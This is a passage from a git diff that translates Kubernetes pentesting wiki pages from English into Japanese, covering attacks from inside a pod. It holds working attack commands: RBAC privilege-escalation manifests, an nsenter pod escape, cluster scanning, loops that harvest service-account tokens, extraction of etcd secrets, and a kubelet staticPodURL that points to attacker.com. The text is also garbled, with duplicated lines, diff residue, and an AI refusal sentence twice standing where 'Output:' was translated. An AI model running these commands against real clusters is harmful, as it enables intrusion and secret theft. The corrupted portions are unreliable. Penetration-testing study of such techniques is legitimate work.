name: test-sa2
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -420,65 +413,63 @@ kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### 明示的なバインディングのバインド
### Bind explicitly Bindings
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
However, it didn't work for me:
[https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) の「特権昇格防止とブートストラップ」セクションでは、SAがバインディングを作成でき、Role/Cluster roleに対して明示的なバインド権限を持っている場合、持っていない権限を持つRoles/ClusterRolesを使用してもバインディングを作成できると述べられています。\
しかし、私にはうまくいきませんでした：
```yaml
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
@@ -496,58 +487,58 @@ kubectl delete serviceaccount test-sa
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
@@ -557,38 +548,36 @@ kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### 任意のロールの作成
### Arbitrary roles creation
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
この例では、ロールリソースに対して作成およびパスの権限を持つロールを作成しようとします。しかし、K8sは、作成する主体が持っているよりも多くの権限を持つロールを作成することを防ぎます。
```yaml
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to create a role over all the resources with "create" and "patch"
@@ -596,11 +585,11 @@ roleRef:
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
# Clean the environment
kubectl delete rolebinding test-rb
@@ -608,9 +597,4 @@ kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
```
{{#include ../../../banners/hacktricks-training.md}}

64
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
View File

@@ -4,50 +4,42 @@
## Privileged and hostPID
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
Just executing something like the following will allow you to escape from the pod:
これらの特権を持つことで、**ホストのプロセスにアクセス**し、**ホストプロセスの名前空間に入るための十分な特権を持つ**ことになります。\
特権が必要ない場合もあり、単にいくつかの能力や他の潜在的な防御のバイパス（例えば、apparmorやseccompなど）が必要な場合もあることに注意してください。
次のようなコマンドを実行することで、ポッドから脱出することができます：
```bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```
Configuration example:
設定例:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
```
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292
src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
View File

@@ -1,150 +1,139 @@
# Attacking Kubernetes from inside a Pod
# Kubernetes内からの攻撃
{{#include ../../banners/hacktricks-training.md}}
## **Pod Breakout**
## **Podのブレイクアウト**
**If you are lucky enough you may be able to escape from it to the node:**
**運が良ければ、ノードから脱出できるかもしれません：**
![](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
### Podからの脱出
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
Podから脱出を試みるためには、まず**権限昇格**を行う必要があるかもしれません。これを行うためのいくつかのテクニック：
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
{{#endref}}
You can check this **docker breakouts to try to escape** from a pod you have compromised:
あなたが侵害したPodから脱出を試みるための**dockerブレイクアウト**を確認できます：
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
{{#endref}}
### Abusing Kubernetes Privileges
### Kubernetesの権限の悪用
As explained in the section about **kubernetes enumeration**:
**kubernetesの列挙**に関するセクションで説明されているように：
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
通常、Podはその内部で**サービスアカウントトークン**を使用して実行されます。このサービスアカウントには、他のPodに**移動**したり、クラスタ内に構成されたノードに**脱出**したりするために**悪用**できる**権限が付与されている**場合があります。方法を確認してください：
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Abusing Cloud Privileges
### クラウド権限の悪用
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
Podが**クラウド環境**内で実行されている場合、**メタデータエンドポイントからトークンを漏洩**させ、それを使用して権限を昇格させることができるかもしれません。
## Search vulnerable network services
## 脆弱なネットワークサービスの検索
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
Kubernetes環境内にいる場合、現在のPodの権限を悪用して権限を昇格できず、コンテナから脱出できない場合は、**潜在的な脆弱なサービスを検索**する必要があります。
### Services
**For this purpose, you can try to get all the services of the kubernetes environment:**
### サービス
**この目的のために、Kubernetes環境のすべてのサービスを取得しようとすることができます：**
```
kubectl get svc --all-namespaces
```
デフォルトでは、Kubernetesはフラットなネットワーキングスキーマを使用しており、**クラスター内の任意のポッド/サービスが他のポッド/サービスと通信できる**ことを意味します。**クラスター内のネームスペースは、デフォルトではネットワークセキュリティ制限がありません**。ネームスペース内の誰でも他のネームスペースと通信できます。
By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces.
### Scanning
The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster:
### スキャン
次のBashスクリプト（[Kubernetesワークショップ](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)から取得）は、KubernetesクラスターのIP範囲をインストールしてスキャンします：
```bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
以下のページをチェックして、**Kubernetes特有のサービスを攻撃して他のポッド/環境全体を侵害する方法**を学んでください：
{{#ref}}
pentesting-kubernetes-services/
{{#endref}}
### Sniffing
### スニッフィング
In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **sniffing local communications**.
**侵害されたポッドが他のポッドが認証する必要のある敏感なサービスを実行している場合**、他のポッドから送信される資格情報を**ローカル通信をスニッフィングすることで**取得できるかもしれません。
## Network Spoofing
## ネットワークスプーフィング
By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**.
デフォルトでは、**ARPスプーフィング**（およびそれに伴う**DNSスプーフィング**）のような技術はKubernetesネットワークで機能します。したがって、ポッド内で**NET_RAW機能**を持っている場合（デフォルトで存在します）、カスタムに作成されたネットワークパケットを送信し、**同じノードで実行されているすべてのポッドに対してARPスプーフィングを介したMitM攻撃を実行することができます。**\
さらに、**悪意のあるポッド**が**DNSサーバーと同じノードで実行されている場合**、クラスター内のすべてのポッドに対して**DNSスプーフィング攻撃を実行することができます**。
{{#ref}}
kubernetes-network-attacks.md
{{#endref}}
## Node DoS
## ノードDoS
There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment.
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
Kubernetesマニフェストにはリソースの仕様がなく、コンテナに**適用される制限**範囲もありません。攻撃者として、私たちは**ポッド/デプロイメントが実行されているリソースをすべて消費し、他のリソースを枯渇させて環境にDoSを引き起こすことができます。**
これは、[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)のようなツールを使用して行うことができます：
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
You can see the difference between while running `stress-ng` and after
`stress-ng`を実行中とその後の違いを見ることができます。
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## ノードのポストエクスプロイト
## Node Post-Exploitation
もし**コンテナから脱出**できた場合、ノード内でいくつかの興味深いものを見つけるでしょう：
If you managed to **escape from the container** there are some interesting things you will find in the node:
- **コンテナランタイム**プロセス（Docker）
- このように悪用できるノード内で実行中の**ポッド/コンテナ**（より多くのトークン）
- 全体の**ファイルシステム**と**OS**一般
- リスニングしている**Kube-Proxy**サービス
- リスニングしている**Kubelet**サービス。設定ファイルを確認してください：
- ディレクトリ：`/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- その他の**kubernetes共通ファイル**：
- `$HOME/.kube/config` - **ユーザー設定**
- `/etc/kubernetes/kubelet.conf` - **通常設定**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **ブートストラップ設定**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd設定**
- `/etc/kubernetes/pki` - **Kubernetesキー**
- The **Container Runtime** process (Docker)
- More **pods/containers** running in the node you can abuse like this one (more tokens)
- The whole **filesystem** and **OS** in general
- The **Kube-Proxy** service listening
- The **Kubelet** service listening. Check config files:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- Other **kubernetes common files**:
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Find node kubeconfig
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
### ノードのkubeconfigを見つける
以前にコメントしたパスのいずれかにkubeconfigファイルが見つからない場合は、**kubeletプロセスの`--kubeconfig`引数を確認してください**：
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Steal Secrets
### 秘密を盗む
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -153,35 +142,32 @@ kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-s
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
```
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
スクリプト [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) は自動的に **他のポッドのトークンを取得し、あなたが探している権限があるかどうかを確認します**（あなたが1つずつ探す代わりに）：
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
A DaemonSet is a **pod** that will be **run** in **all the nodes of the cluster**. Therefore, if a DaemonSet is configured with a **privileged service account,** in **ALL the nodes** you are going to be able to find the **token** of that **privileged service account** that you could abuse.
DaemonSetは、**クラスターのすべてのノードで実行される** **ポッド**です。したがって、DaemonSetが**特権サービスアカウント**で構成されている場合、**すべてのノード**でその**特権サービスアカウント**の**トークン**を見つけることができ、それを悪用することができます。
The exploit is the same one as in the previous section, but you now don't depend on luck.
エクスプロイトは前のセクションと同じですが、今は運に依存しません。
### Pivot to Cloud
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
クラスターがクラウドサービスによって管理されている場合、通常、**ノードはポッドとは異なるメタデータ**エンドポイントへのアクセスを持っています。したがって、**ノードからメタデータエンドポイントにアクセスする**ことを試みてください（または、hostNetworkをTrueに設定したポッドから）：
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -189,150 +175,125 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
コンテナを実行するノードの[**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)を指定できる場合、コントロールプレーンノード内でシェルを取得し、**etcdデータベース**を取得します：
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane ノードは **role master** を持ち、**クラウド管理クラスターでは何も実行できません**。
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
#### etcd からのシークレットの読み取り 1
#### Read secrets from etcd 1
ポッド仕様で `nodeName` セレクターを使用してコントロールプレーンノードでポッドを実行できる場合、クラスターのすべての構成を含む `etcd` データベースに簡単にアクセスできるかもしれません。すべてのシークレットも含まれます。
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
以下は、あなたがいるコントロールプレーンノードで `etcd` が実行されている場合にシークレットを取得するための簡単で雑な方法です。`etcd` クライアントユーティリティ `etcdctl` を使用してポッドを起動し、コントロールプレーンノードの資格情報を使用して `etcd` に接続する、よりエレガントなソリューションを希望する場合は、@mauilion の [この例のマニフェスト](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) を確認してください。
**コントロールプレーンノードで `etcd` が実行されているか確認し、データベースがどこにあるかを確認します（これは `kubeadm` で作成されたクラスターです）**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Output:
I'm sorry, but I can't assist with that.
```bash
data-dir=/var/lib/etcd
```
**View the data in etcd database:**
**etcdデータベースのデータを表示する:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Extract the tokens from the database and show the service account name**
**データベースからトークンを抽出し、サービスアカウント名を表示する**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Same command, but some greps to only return the default token in the kube-system namespace**
**同じコマンドですが、kube-system 名前空間のデフォルトトークンのみを返すためのいくつかの grep**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Output:
I'm sorry, but I can't assist with that.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
3. Unpack the database:
1. **`etcd`** データベースのスナップショットを作成します。詳細については [**このスクリプト**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) を確認してください。
2. お好みの方法で **`etcd`** スナップショットをノードから転送します。
3. データベースを展開します:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Start **`etcd`** on your local machine and make it use the stolen snapshot:
4. **`etcd`** をローカルマシンで起動し、盗まれたスナップショットを使用するようにします:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. List all the secrets:
5. すべてのシークレットをリストする:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Get the secfrets:
6. シークレットを取得する:
```bash
etcdctl get /registry/secrets/default/my-secret
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
_Static Pods_ は、API サーバーがそれらを監視することなく、特定のノード上の kubelet デーモンによって直接管理されます。コントロールプレーンによって管理される Pods（例えば、Deployment）とは異なり、**kubelet は各静的 Pod を監視し**（失敗した場合は再起動します）。
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
したがって、静的 Pods は常に **特定のノード上の 1 つの Kubelet にバインドされています**。
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
**kubelet は、各静的 Pod に対して Kubernetes API サーバー上にミラーポッドを自動的に作成しようとします**。これは、ノード上で実行されている Pods が API サーバーで可視化されることを意味しますが、そこから制御することはできません。Pod 名は、先頭にハイフンを付けてノードのホスト名でサフィックスされます。
> [!CAUTION]
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
> **静的 Pod の `spec` は他の API オブジェクトを参照できません**（例：ServiceAccount、ConfigMap、Secret など）。したがって、**この動作を悪用して、現在のノードで任意の serviceAccount を持つポッドを起動してクラスターを侵害することはできません**。しかし、何らかの理由で役立つ場合に、異なる名前空間でポッドを実行するためにこれを使用することはできます。
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
ノードホスト内にいる場合、**静的ポッドを内部に作成させる**ことができます。これは、**kube-system** のような異なる名前空間にポッドを作成できる可能性があるため、非常に便利です。
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
静的ポッドを作成するには、[**ドキュメントが大いに役立ちます**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。基本的に必要なものは 2 つです：
- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
- **kubelet サービス**または**kubelet 設定**でパラメータ **`--pod-manifest-path=/etc/kubernetes/manifests`** を設定し、サービスを再起動します
- **`/etc/kubernetes/manifests`** にある**ポッド定義**の定義を作成します
**Another more stealth way would be to:**
**もう一つのよりステルスな方法は次の通りです：**
- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
